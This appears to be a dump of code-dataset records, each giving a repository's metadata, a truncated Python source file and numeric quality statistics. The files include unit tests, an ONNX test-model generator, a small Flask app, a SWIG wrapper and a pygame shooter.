] | null | null | null | src/package_a/module_a.py | ynouri/monorepo | a40c42da3eaf9c276006be73666b1d0ab2396620 | [
"MIT"
] | null | null | null | from utils.utils_a import sum_two_numbers
class Something:
def sum(self, a, b):
return sum_two_numbers(a, b)
| 17.571429 | 41 | 0.699187 | 21 | 123 | 3.857143 | 0.619048 | 0.148148 | 0.320988 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.219512 | 123 | 6 | 42 | 20.5 | 0.84375 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
d61534e48e6bbcaaff5208bfc0daf7796606b2ce | 7,517 | py | Python | pyspedas/themis/tests/tests_cal_fit.py | ablotekar/pyspedas | 921733f26e6d204f6ee57f760db5d86c351e3043 | [
"MIT"
] | null | null | null | pyspedas/themis/tests/tests_cal_fit.py | ablotekar/pyspedas | 921733f26e6d204f6ee57f760db5d86c351e3043 | [
"MIT"
] | null | null | null | pyspedas/themis/tests/tests_cal_fit.py | ablotekar/pyspedas | 921733f26e6d204f6ee57f760db5d86c351e3043 | [
"MIT"
] | null | null | null | """Tests of cal_fit function."""
import pyspedas.themis.spacecraft.fields.fit
import pytplot.get_data
from pytplot.importers.tplot_restore import tplot_restore
import unittest
import numpy as np
from pyspedas.themis.spacecraft.fields.fit import cal_fit
class TestCalFitDataValidation(unittest.TestCase):
"""Tests o... | 39.984043 | 103 | 0.623786 | 1,027 | 7,517 | 4.323272 | 0.12853 | 0.048649 | 0.063063 | 0.072748 | 0.820721 | 0.775225 | 0.757658 | 0.730405 | 0.730405 | 0.630856 | 0 | 0.020804 | 0.245444 | 7,517 | 187 | 104 | 40.197861 | 0.761989 | 0.099907 | 0 | 0.512 | 0 | 0 | 0.101469 | 0.007944 | 0 | 0 | 0 | 0.005348 | 0.072 | 1 | 0.12 | false | 0 | 0.08 | 0 | 0.224 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
d62021d4ed46b200cf3c0521d2253436dc730852 | 3,935 | py | Python | newsbuddy/nlp_stock.py | skyli42/RiceKrispies | fda6df8a1621326836d2969975ff75b2f8f87690 | [
"MIT"
] | null | null | null | newsbuddy/nlp_stock.py | skyli42/RiceKrispies | fda6df8a1621326836d2969975ff75b2f8f87690 | [
"MIT"
] | null | null | null | newsbuddy/nlp_stock.py | skyli42/RiceKrispies | fda6df8a1621326836d2969975ff75b2f8f87690 | [
"MIT"
] | 1 | 2018-10-01T02:38:42.000Z | 2018-10-01T02:38:42.000Z | import gensim
from gensim.models.keyedvectors import KeyedVectors
import re, string
def downloadGlove(file = "C:/glove/glove.6B.50d.txt.w2v"):
gant = KeyedVectors.load_word2vec_format(file, binary=False)
return gant
stopwords = "a,able,about,above,according,accordingly,across,actually,after,afterwards,again,against... | 262.333333 | 3,537 | 0.824905 | 645 | 3,935 | 5.023256 | 0.855814 | 0.011111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001284 | 0.010419 | 3,935 | 15 | 3,538 | 262.333333 | 0.830765 | 0 | 0 | 0 | 0 | 0.083333 | 0.903709 | 0.902439 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.083333 | 0.75 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
d6493a48781321e846cce4a8059a035ce9bf9da1 | 109 | py | Python | site_scons/site_tools/host.py | robobrobro/physics-engine | 0000e2155106f3c6c0485af96bc14120dc6d155a | [
"MIT"
] | null | null | null | site_scons/site_tools/host.py | robobrobro/physics-engine | 0000e2155106f3c6c0485af96bc14120dc6d155a | [
"MIT"
] | 8 | 2019-01-26T03:19:46.000Z | 2019-04-16T14:22:53.000Z | site_scons/site_tools/host.py | robobrobro/physics-engine | 0000e2155106f3c6c0485af96bc14120dc6d155a | [
"MIT"
] | null | null | null | def exists(env):
return True
def generate(env):
env.Replace(OS='$HOST_OS')
env.Tool('$HOST_OS')
| 15.571429 | 30 | 0.633028 | 17 | 109 | 3.941176 | 0.588235 | 0.179104 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.192661 | 109 | 6 | 31 | 18.166667 | 0.761364 | 0 | 0 | 0 | 1 | 0 | 0.146789 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.4 | false | 0 | 0 | 0.2 | 0.6 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
c3a4f13ef9420cfa767ebaff8cc712d5e08d30bc | 27 | py | Python | dataset/beer/__init__.py | zackchase/beermind | 695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47 | [
"MIT"
] | 3 | 2016-12-15T11:54:33.000Z | 2017-06-08T21:10:58.000Z | dataset/beer/__init__.py | zackchase/beermind | 695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47 | [
"MIT"
] | null | null | null | dataset/beer/__init__.py | zackchase/beermind | 695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47 | [
"MIT"
] | 2 | 2017-10-13T18:34:36.000Z | 2020-01-25T03:46:31.000Z | from load import load_data
| 13.5 | 26 | 0.851852 | 5 | 27 | 4.4 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148148 | 27 | 1 | 27 | 27 | 0.956522 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
7f1184c6e105ac3a58d5a2ab30d8b26f89cc0249 | 13,693 | py | Python | onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py | goloskokovic/onnxruntime | 31a44b13d221f9fc021bcfb4afc514f1956ccbc8 | [
"MIT"
] | 2 | 2020-06-24T03:16:34.000Z | 2020-06-24T03:16:36.000Z | onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py | goloskokovic/onnxruntime | 31a44b13d221f9fc021bcfb4afc514f1956ccbc8 | [
"MIT"
] | 4 | 2020-12-04T21:00:38.000Z | 2022-01-22T12:49:30.000Z | onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py | goloskokovic/onnxruntime | 31a44b13d221f9fc021bcfb4afc514f1956ccbc8 | [
"MIT"
] | null | null | null | import onnx
from onnx import helper
from onnx import TensorProto
def save_model(graph, file_name):
model = helper.make_model(graph)
onnx.checker.check_model(model)
onnx.save(model, file_name)
graph = helper.make_graph(
[ # nodes
helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"),
... | 47.380623 | 137 | 0.623749 | 1,554 | 13,693 | 5.217503 | 0.061776 | 0.171436 | 0.124322 | 0.074001 | 0.905155 | 0.894919 | 0.877528 | 0.865442 | 0.844228 | 0.838925 | 0 | 0.040758 | 0.175783 | 13,693 | 289 | 138 | 47.380623 | 0.677654 | 0.027678 | 0 | 0.572549 | 0 | 0 | 0.311595 | 0.034982 | 0 | 0 | 0 | 0 | 0 | 1 | 0.003922 | false | 0 | 0.011765 | 0 | 0.015686 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
616bdccba2a2a18611725ba46a6652f3f9018c67 | 37 | py | Python | AutoBiller/__init__.py | JYudelson1/AutoBiller | bc1333a7a031d1f4e182edd25e52e1e4642f98aa | [
"MIT"
] | 1 | 2021-01-31T22:49:00.000Z | 2021-01-31T22:49:00.000Z | AutoBiller/__init__.py | JYudelson1/AutoBiller | bc1333a7a031d1f4e182edd25e52e1e4642f98aa | [
"MIT"
] | null | null | null | AutoBiller/__init__.py | JYudelson1/AutoBiller | bc1333a7a031d1f4e182edd25e52e1e4642f98aa | [
"MIT"
] | null | null | null | from AutoBiller.__main__ import main
| 18.5 | 36 | 0.864865 | 5 | 37 | 5.6 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.848485 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
61ca5ecea4799427c13595546efda3629ddf2429 | 1,472 | py | Python | commonutils/path_utils.py | rupakc/DriftGAN | acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426 | [
"Apache-2.0"
] | null | null | null | commonutils/path_utils.py | rupakc/DriftGAN | acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426 | [
"Apache-2.0"
] | null | null | null | commonutils/path_utils.py | rupakc/DriftGAN | acd2ebbed96d0b4d3ede38b01d7d6620f9b0f426 | [
"Apache-2.0"
] | null | null | null | import os
from constants import commonconstants
def get_downstream_baseline_model_path_from_datafile_path(data_file_path):
data_filename_with_extension = data_file_path.rsplit(os.path.sep, 1)[1]
data_filename_without_extension = data_filename_with_extension.replace(commonconstants.DEFAULT_TRAINING_DATA_FILE_E... | 56.615385 | 131 | 0.814538 | 203 | 1,472 | 5.389163 | 0.20197 | 0.164534 | 0.160878 | 0.091408 | 0.869287 | 0.869287 | 0.869287 | 0.869287 | 0.801645 | 0.801645 | 0 | 0.008449 | 0.115489 | 1,472 | 25 | 132 | 58.88 | 0.831797 | 0 | 0 | 0.571429 | 0 | 0 | 0.001359 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0 | 0.095238 | 0 | 0.380952 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f61ddf2d884754a35d227dceb1ba5269fdac3ffa | 5,119 | py | Python | app.py | gabrielpaues/geoinfo-final | 87c6e310ed47a75b5b55aa3a345b8f0d86456d9e | [
"Apache-2.0"
] | null | null | null | app.py | gabrielpaues/geoinfo-final | 87c6e310ed47a75b5b55aa3a345b8f0d86456d9e | [
"Apache-2.0"
] | null | null | null | app.py | gabrielpaues/geoinfo-final | 87c6e310ed47a75b5b55aa3a345b8f0d86456d9e | [
"Apache-2.0"
] | null | null | null | # -- coding: utf-8 --
from flask import Flask, render_template
import ipinfo
import os
import socket
import plotly
import plotly.plotly as py
import plotly.graph_objs as go
import sys
import json
import urllib
import re
import plotvars
reload(sys)
sys.setdefaultencoding('utf8')
app = Flask(__name__)
app.debug=1
... | 28.920904 | 131 | 0.572182 | 574 | 5,119 | 4.986063 | 0.271777 | 0.010482 | 0.010482 | 0.008386 | 0.790356 | 0.777778 | 0.761006 | 0.761006 | 0.761006 | 0.761006 | 0 | 0.023714 | 0.316273 | 5,119 | 176 | 132 | 29.085227 | 0.794 | 0.107052 | 0 | 0.671875 | 0 | 0.015625 | 0.100154 | 0.016692 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.09375 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f640dc31b8d977a86ca940e198b6bde60873984b | 197 | py | Python | twitter/admin.py | marcincdev/twitter | ec1a2dee24d89372caf0a1b334aad2693e3ca3bf | [
"MIT"
] | null | null | null | twitter/admin.py | marcincdev/twitter | ec1a2dee24d89372caf0a1b334aad2693e3ca3bf | [
"MIT"
] | null | null | null | twitter/admin.py | marcincdev/twitter | ec1a2dee24d89372caf0a1b334aad2693e3ca3bf | [
"MIT"
] | null | null | null | from django.contrib import admin
# Register your models here.
from twitter import models
admin.site.register(models.Tweet)
admin.site.register(models.Comment)
admin.site.register(models.Message)
| 21.888889 | 35 | 0.817259 | 28 | 197 | 5.75 | 0.5 | 0.167702 | 0.31677 | 0.428571 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.091371 | 197 | 8 | 36 | 24.625 | 0.899441 | 0.13198 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.4 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
f65eebf9063244d1f9d03a3fdf54ea7e6a969d0f | 326 | py | Python | navigation_vis/AbstractView.py | yrevar/NavigationGridViews | a265567d5c6fee97920713522382bc9835f88f5d | [
"Apache-2.0"
] | 3 | 2020-05-02T16:38:52.000Z | 2021-02-23T04:22:13.000Z | navigation_vis/AbstractView.py | yrevar/navigation_vis | af2143388cb9a61a9be836c12a2d57ed24a78705 | [
"Apache-2.0"
] | null | null | null | navigation_vis/AbstractView.py | yrevar/navigation_vis | af2143388cb9a61a9be836c12a2d57ed24a78705 | [
"Apache-2.0"
] | null | null | null | class AbstractView:
def update_data(self, data):
raise NotImplementedError
def add_trajectory(self, trajectory):
raise NotImplementedError
def add_trajectories(self, trajectories):
raise NotImplementedError
def render(self):
raise NotImplemente... | 25.076923 | 45 | 0.656442 | 28 | 326 | 7.535714 | 0.428571 | 0.454976 | 0.383886 | 0.28436 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.294479 | 326 | 13 | 46 | 25.076923 | 0.917391 | 0 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.444444 | false | 0 | 0 | 0 | 0.555556 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
f66629647be9c2941205ccfdb88a823b9f383a56 | 205 | py | Python | tests/test_euclidean.py | f4str/number-theory-toolkit | 6d379f1903bc9ce4c43dda64ccb1590ef55d215d | [
"MIT"
] | null | null | null | tests/test_euclidean.py | f4str/number-theory-toolkit | 6d379f1903bc9ce4c43dda64ccb1590ef55d215d | [
"MIT"
] | 6 | 2021-06-30T03:35:54.000Z | 2021-09-02T06:11:33.000Z | tests/test_euclidean.py | f4str/number-theory-toolkit | 6d379f1903bc9ce4c43dda64ccb1590ef55d215d | [
"MIT"
] | null | null | null | from number_theory_toolkit import bezout_coefficients, euclidean_algorithm
def test_euclidean():
assert euclidean_algorithm(7245, 4784) == 23
assert bezout_coefficients(951, 456) == (-35, 73, 3)
| 29.285714 | 74 | 0.765854 | 26 | 205 | 5.769231 | 0.769231 | 0.24 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.119318 | 0.141463 | 205 | 6 | 75 | 34.166667 | 0.732955 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.25 | true | 0 | 0.25 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
f66c18134e9e04b3a6d8622493cd96817b4865fc | 86 | py | Python | sendKey.py | guibperes/remote-slide-controller | 41a54a73a0d8e008c32e5f08493ae479fb21a166 | [
"MIT"
] | null | null | null | sendKey.py | guibperes/remote-slide-controller | 41a54a73a0d8e008c32e5f08493ae479fb21a166 | [
"MIT"
] | null | null | null | sendKey.py | guibperes/remote-slide-controller | 41a54a73a0d8e008c32e5f08493ae479fb21a166 | [
"MIT"
] | null | null | null | import keyboard
import sys
keyboard.press(sys.argv[1])
keyboard.release(sys.argv[1])
| 14.333333 | 29 | 0.77907 | 14 | 86 | 4.785714 | 0.5 | 0.208955 | 0.238806 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.025316 | 0.081395 | 86 | 5 | 30 | 17.2 | 0.822785 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
f67ba8903d2c7f534bd806569a375e1dfac7b59e | 166 | py | Python | trampill_backend/utils/routine.py | trampill-backend/trampill-backend | 0cf98414d3ecd489657de42cb91431e8bfae945c | [
"MIT"
] | 2 | 2020-03-04T19:03:55.000Z | 2020-03-08T09:10:21.000Z | trampill_backend/utils/routine.py | trampill-backend/trampill-backend | 0cf98414d3ecd489657de42cb91431e8bfae945c | [
"MIT"
] | null | null | null | trampill_backend/utils/routine.py | trampill-backend/trampill-backend | 0cf98414d3ecd489657de42cb91431e8bfae945c | [
"MIT"
] | 1 | 2020-03-08T10:54:10.000Z | 2020-03-08T10:54:10.000Z | from django.contrib.auth import get_user_model
User = get_user_model()
def is_member(user: User, member: str):
return user.groups.filter(name=member).exists()
| 20.75 | 51 | 0.759036 | 26 | 166 | 4.653846 | 0.653846 | 0.115702 | 0.198347 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.126506 | 166 | 7 | 52 | 23.714286 | 0.834483 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.25 | 0.25 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
9c8bf7d8be4bd2d3b134f2363e4c68a5dfd51cf2 | 78 | py | Python | google_translate_api_python/__init__.py | Ljqiii/google_translate_api_python | b5cb19e93048ce4be5cb685e59f66777f20582dc | [
"Apache-2.0"
] | 1 | 2019-09-01T12:31:30.000Z | 2019-09-01T12:31:30.000Z | google_translate_api_python/__init__.py | Ljqiii/Google-Translate-api-python | b5cb19e93048ce4be5cb685e59f66777f20582dc | [
"Apache-2.0"
] | null | null | null | google_translate_api_python/__init__.py | Ljqiii/Google-Translate-api-python | b5cb19e93048ce4be5cb685e59f66777f20582dc | [
"Apache-2.0"
] | null | null | null | from . import GoogleTranslate
GoogleTranslate=GoogleTranslate.GoogleTranslate
| 26 | 47 | 0.897436 | 6 | 78 | 11.666667 | 0.5 | 1.285714 | 1.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.064103 | 78 | 2 | 48 | 39 | 0.958904 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
9caa54d734abc1732bc0e2e894f98336a42c1c5d | 292,920 | py | Python | src/mac/RMF_HDF5.py | salilab/rmf_chimerax | c744866f3bc8777a9aae56d9eee5bf2b0fce3419 | [
"MIT"
] | null | null | null | src/mac/RMF_HDF5.py | salilab/rmf_chimerax | c744866f3bc8777a9aae56d9eee5bf2b0fce3419 | [
"MIT"
] | null | null | null | src/mac/RMF_HDF5.py | salilab/rmf_chimerax | c744866f3bc8777a9aae56d9eee5bf2b0fce3419 | [
"MIT"
] | null | null | null | # This file was automatically generated by SWIG (http://www.swig.org).
# Version 4.0.1
#
# Do not make changes to this file unless you know what you are doing--modify
# the SWIG interface file instead.
from sys import version_info as _swig_python_version_info
if _swig_python_version_info < (2, 7, 0):
raise Runtime... | 43.421287 | 203 | 0.707285 | 36,212 | 292,920 | 5.249696 | 0.01088 | 0.078432 | 0.077616 | 0.018869 | 0.849344 | 0.793784 | 0.741891 | 0.699372 | 0.628257 | 0.490915 | 0 | 0.022178 | 0.174628 | 292,920 | 6,745 | 204 | 43.427724 | 0.764121 | 0.379868 | 0 | 0.363275 | 1 | 0 | 0.017291 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.278967 | false | 0 | 0.001324 | 0.002428 | 0.620834 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 6 |
9cba306d7cdd6fa18ac160ca3551409adfb78a07 | 98 | py | Python | utils/__init__.py | NoAchache/TextBoxGan | aa04bd12035ff8205df086833e07fc9f0310e09e | [
"MIT"
] | 36 | 2021-03-05T09:50:02.000Z | 2021-06-05T15:48:16.000Z | utils/__init__.py | kashimmirza/TextBoxGan | ba7aeef92a0cce2c5a33d259beda038825a4bac4 | [
"MIT"
] | null | null | null | utils/__init__.py | kashimmirza/TextBoxGan | ba7aeef92a0cce2c5a33d259beda038825a4bac4 | [
"MIT"
] | 1 | 2021-03-14T11:27:14.000Z | 2021-03-14T11:27:14.000Z | from utils.tensorboard_writer import TensorboardWriter
from utils.loss_tracker import LossTracker
| 32.666667 | 54 | 0.897959 | 12 | 98 | 7.166667 | 0.75 | 0.209302 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.081633 | 98 | 2 | 55 | 49 | 0.955556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
1438c419e60608b61a54e74d8712eceec2219f27 | 66 | py | Python | python/toy-problems/merge_sort_recursive.py | vinnyhoward/til | 8bb0055578220c4d83ddd12ac34bbb2fd3ae000e | [
"MIT"
] | null | null | null | python/toy-problems/merge_sort_recursive.py | vinnyhoward/til | 8bb0055578220c4d83ddd12ac34bbb2fd3ae000e | [
"MIT"
] | 32 | 2020-07-16T07:11:35.000Z | 2022-02-27T19:01:03.000Z | python/toy-problems/merge_sort_recursive.py | vinnyhoward/til | 8bb0055578220c4d83ddd12ac34bbb2fd3ae000e | [
"MIT"
] | null | null | null | def merge(a, b):
return -1
def merge_sort(a):
return -1
| 9.428571 | 18 | 0.575758 | 12 | 66 | 3.083333 | 0.583333 | 0.432432 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.042553 | 0.287879 | 66 | 6 | 19 | 11 | 0.744681 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | false | 0 | 0 | 0.5 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 6 |
147e98e51383d6dc58b22ac2e6df35297a0f3123 | 155,046 | py | Python | main.py | eM7RON/Master-Blaster | 917ad1f933160a58cfa58e67472081594a6cf941 | [
"MIT"
] | null | null | null | main.py | eM7RON/Master-Blaster | 917ad1f933160a58cfa58e67472081594a6cf941 | [
"MIT"
] | null | null | null | main.py | eM7RON/Master-Blaster | 917ad1f933160a58cfa58e67472081594a6cf941 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Modules
from operator import itemgetter
import pygame, random, math, pickle, datetime, os
pygame.init()
########################################################################################################################
###########################################... | 48.558096 | 197 | 0.57659 | 20,790 | 155,046 | 4.197691 | 0.029052 | 0.123112 | 0.171605 | 0.113819 | 0.853065 | 0.815057 | 0.785528 | 0.768191 | 0.744437 | 0.726573 | 0 | 0.03342 | 0.253525 | 155,046 | 3,192 | 198 | 48.573308 | 0.72061 | 0.011042 | 0 | 0.682031 | 0 | 0 | 0.026802 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.088672 | false | 0.003906 | 0.000781 | 0.001563 | 0.126563 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2122895dfab39105f1d133ec223c8e6dd7db4f8a | 14 | py | Python | test/e2etest/data/pylint/original.py | joway/git-lint | 29f0ab6a876c675f099d0aae4185c89e9c0a96a8 | [
"Apache-2.0"
] | 3 | 2015-04-05T13:52:31.000Z | 2019-02-17T13:32:38.000Z | test/e2etest/data/pylint/original.py | joway/git-lint | 29f0ab6a876c675f099d0aae4185c89e9c0a96a8 | [
"Apache-2.0"
] | 2 | 2017-04-28T18:51:26.000Z | 2019-04-11T22:44:49.000Z | test/e2etest/data/pylint/original.py | joway/git-lint | 29f0ab6a876c675f099d0aae4185c89e9c0a96a8 | [
"Apache-2.0"
] | 3 | 2017-02-17T23:41:03.000Z | 2020-11-07T10:38:16.000Z | a = 1;
FOO = 2 | 7 | 7 | 0.428571 | 4 | 14 | 1.5 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.222222 | 0.357143 | 14 | 2 | 7 | 7 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
2129f0774eb8ccc8f16ccf860b4a4d469e87123d | 67 | py | Python | app/models/__init__.py | AOSC-Dev/modern-paste | 0d47dc8911a17d84e61c14a650620a41c98b6d95 | [
"MIT"
] | 1 | 2020-04-08T22:09:54.000Z | 2020-04-08T22:09:54.000Z | app/models/__init__.py | AOSC-Dev/modern-paste | 0d47dc8911a17d84e61c14a650620a41c98b6d95 | [
"MIT"
